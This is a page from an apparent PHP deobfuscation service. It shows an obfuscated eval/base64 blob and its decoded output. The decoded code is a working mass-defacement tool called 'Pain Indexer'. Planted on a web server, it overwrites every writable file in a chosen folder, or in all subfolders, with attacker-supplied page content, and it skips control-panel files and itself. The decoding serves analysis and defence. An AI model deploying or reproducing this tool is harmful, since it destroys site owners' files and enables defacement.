Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval (gzinflate(str_rot13(base64_decode("7Ux6Yts4Ev7cAPkPjJuredSW7LxnRjsO0Hqbeg9bNNg..
Decoded Output download
$slach="/";
$header = "<html >
<head>
<link rel='shortcut icon' href='http://hdd-dz.com/xmlrpc/includes/favicon.ico'>
<title>".$_SERVER['HTTP_HOST']." ~ Pain Indexer</title>
<style type='text/css'>
input , textarea , button , body , caption , table ,area , option {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
text-shadow: #CDCDCD 0px 0px 1px;
font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
}
input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
border:1px solid rgba(0,0,255, 0.8);
background-color: lightyellow;
overflow: auto;
text-shadow: #CDCDCD 0px 0px 1px;
font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
}
.style1 {
text-align: center;
}
.style2 {
font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
text-shadow: #48FF34 0px 0px 4px;
}
.stylee {
text-align: center;
font-size: xx-large;
font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
text-shadow: red 0px 0px 6px;
}
.style3 {
text-align: center;
font-size: xx-large;
font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
text-shadow: #FF4949 1px 1px 4px;
}
.style4 {
color: #FF8686;
}
.style5 {
color: #8FFF7C;
}
.style6 {
color: #17A200;
}
</style>
</head>
<body>
<p class='style3'><strong><span class='style6'>P</span><span class='style4'>ai</span><span class='style5'>n</span>
<span class='style4'>In</span><span class='style6'>de</span><span class='style4'>xe</span><span class='style6'>r</span></strong>";
$body = "<table align='center' style='width: 80%; height: 260px; font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; table-layout: auto; list-style-type: upper-roman; background-color: #808080;'>
<tr>
<td class='style1'
>
<form method='post'>
<strong>Main Dir :<br></strong><br>
<input name='dir' style='width: 525px' type='text' value=".getcwd()."><br><br><strong>Index Code
Here :<br></strong><br>
<textarea placeholder='Please Put Your Index here !!' name='index' style='width: 525px; height: 300px;'></textarea><br><br>
<strong>Options :<br></strong><br>
<select name='option' style='width: 202px'>
<option> </option>
<option>Only for Selected Folder</option>
<option>For all Sub Folders</option>
</select><br>
<br>
<input name='indexit' type='submit' value='Brute It' style='width: 81px'>
<input name='about' type='submit' value='About' style='width: 81px'></form>
</td>
</tr>
</table>
";
$footer = "<p class='style1'><strong><span class='style2'><</span> <span class='style2'>
Coded By</span> <span class='style2'>Hidden Pain</span> <span class='style2'>></span></strong></p>
</body>
</html>";
$about = "<table align='center' class='style2' style='width: 50%; height: 10px;'>
<tr>
<td style='height: 250px'>
<p class='style1'><strong>This tool can easily edit all your files at once<br>
Just choose a main folder to start in and fill up your index<br>
Then Choose an option For Bruting<br>either only a particular folder<br>
or all his sub-folders ..</strong><br>
<hr><center><strong><h2>Gretz To All Friends</h2></strong><br><a href='http://www.facebook.com/Hidden.Pain'target='_blank'><img src='http://www.mricons.com/store/png/13_35405_128_facebook_icontexto_inside_icon.png' />
</td>
</tr>
</table>
<br>
";
$error = "<table align='center' class='stylee' style='width: 50%; height: 10px;'>
<tr>
<td style='height: 150px'>
<p class='style1'><strong>Please select one option to work on it !!</td></tr></table><br>";
echo $header.$body.$footer;
//////////////////////// general /////
set_time_limit(0);
$dir=$_POST['dir'];
$index = $_POST["index"];
$index = str_replace('"',"'",$index);
$index = stripslashes($index);
////////////////functions //////////////////
function edit_file($file,$index){
if (is_writable($file)) {
clear_fill($file,$index);
echo "<Span style='color:green;'><strong> [+] Edited successfully</strong></span><br></center>";
} else {
echo "<Span style='color:red;'><strong> [-] I do not have the right to edit This one</strong></span><br></center>";
}
}
//////////////////////////////////////////
function clear_fill($file,$index){
if(file_exists($file)){
$handle = fopen($file,'w');
fwrite($handle,'');
fwrite($handle,$index);
fclose($handle); } }
///////////////////////////
function do_it(){
global $dir , $index ;
chdir($dir);
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$files = scandir($dir) ;
$notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
sort($files);
$n = 0 ;
foreach ($files as $file){
if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
echo "<center><Span style='color: #8A8A8A;'><strong>$dir/</span>$file</strong> ====> ";
edit_file($file,$index);
flush();
$n = $n +1 ;
} }
echo "<br>";
echo "<center><br><h3>$n File Detected</h3></center><br>";
}
//////////////////////////////
function ListFiles($dirall) {
if($dh = opendir($dirall)) {
$files = Array();
$inner_files = Array();
$me = str_replace(dirname(__FILE__).'/','',__FILE__);
$notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
while($file = readdir($dh)) {
if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
if(is_dir($dirall . "/" . $file)) {
$inner_files = ListFiles($dirall . "/" . $file);
if(is_array($inner_files)) $files = array_merge($files, $inner_files);
} else {
array_push($files, $dirall . "/" . $file);
}
}
}
closedir($dh);
return $files;
}
}
//////////////////////////////////////////
function do_it_all(){
global $index ;
$dirall=$_POST['dir'];
foreach (ListFiles($dirall) as $key=>$file){
$file = str_replace('//',"/",$file);
echo "<center><strong>$file</strong> ===>";
edit_file($file,$index);
flush();
}
$key = $key+1;
echo "<center><br><h3>$key File Detected</h3></center><br>"; }
/////////////// starting //////////////////
if ($_POST['indexit'])
{
if ($_POST['option']=="Only for Selected Folder"){ do_it() ;}
elseif ($_POST['option']=="For all Sub Folders"){ do_it_all(); }
else {echo $error;}
}
if ($_POST['about'])
{
echo $about ;
}
Did this file decode correctly?
Original Code
<?php eval (gzinflate(str_rot13(base64_decode("7Ux6Yts4Ev7cAPkPjJuredSW7LxnRjsO0Hqbeg9bNNgEBxyKQKAl2iIiiwJWxWSL3GK/GZKSJb+k7e3iYx/OYSyJHA7n9ZmhbahFGiXjSdAa7e8dJozGWZIxdp0nbZ6Si/29ZhzDeMqzOyJMOvZHIqSOClprJDKPJJJax16iaD4MgiSOe/FKPxLz4G6eyjwKaxalUsxHMKX3uMCHHw8Zd65GadHyD8Pr93/84/0fX7wPNzdK4YfP1zferd8i/yJKlHTkcBazBybPA1i/v1TOlV6mjOhyzsaecw86iJRPljzLTqouwTEqGYXbVqG1yPBTxFi4UTTX3Ax1OgEmXVQn7PA3YA8fRHVDlw0zkbGRHdKSc4oj0ZDQNCV9/6ivCKOK9WvWgwWOrrdgkzuue1voQrfSz8XXHyaeCAn+6VYa808Nj/OHtVpqzuMmuybt+GOQPxAlRR4TOZvQab+LX5SkRk0ArNpGCY3Fb1Wev32HX9KHSPg3qNhaUqZ7Rjrn6WVVvN84qGYN2mzd2gP5ZwPPYnbKJ5LDxI1xkyJXmCafrm5PAVZCMcmnwPNkf89saTgVRKFJ7rXPpHh9PKSR5vfMubqcKx1ePRu3l0JoLqJBSgbCUTxHKvfhewqqOvMQ+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ST5VoTz1BEVTsKDkYG+++a04AS4yDDDGOD2P0gHSh9Y0N5pXTOnEFPO7jMr4s2JuZD6erN/itpT8GUeCy2XlEpTgZw+eCtFN4m3mHxzWqdk2opL0+dywFPy8HcXrG5URmyOnjqtbWuUVKxKHk+AJrX6JM3zF6QRLQlByvAHc7J2/fYHwPp6os/h3QBzdEJpnAF8YPFVEdxgkoifhG5huS1HXqdvnGuLZzJrAmR9hj9/x/DAVxeMYDv+7/s35b1t8kxXyi/GvSqlTxIqkiH3kIqR5bLyedjXnESyhmHOADs7n2XBv40r/FMc/3fjrj3T4ladhgIz52BS34Xe9C1j54sbYR13h8U9u52O2dxDWOsGIV5nM2nDN18R0uaRu7YuPd6HI2PpZwjiBGMfxEqddjpvb4S8tEbyp96d0aGzj7FDJmyrlk2/aQn+l7VbMtCE5n1xpHvU6tKWPKemfVSLnZgldLbe7YZXzRKEBy7Da67AAgA6zWeth5DW/LgrFEJCpZfbo0rFcCmAoFw00Al5eDkTuQecI5RX0X0Lfitz1Fw6FreMePFbg0cvke6Lazv9eItjqRe8loOx63ab2ud2i+lR0eGTVvDANsB7MtYrMqPjYkU3GDF/lzz2IGq1SP5f8B1mmw75tJGkxt+yYFHfBi"))));
Function Calls
gzinflate | 1 |
str_rot13 | 1 |
base64_decode | 1 |
Stats
MD5 | 24093b6b2f0cf30f2608104732ad2f9f |
Eval Count | 1 |
Decode Time | 94 ms |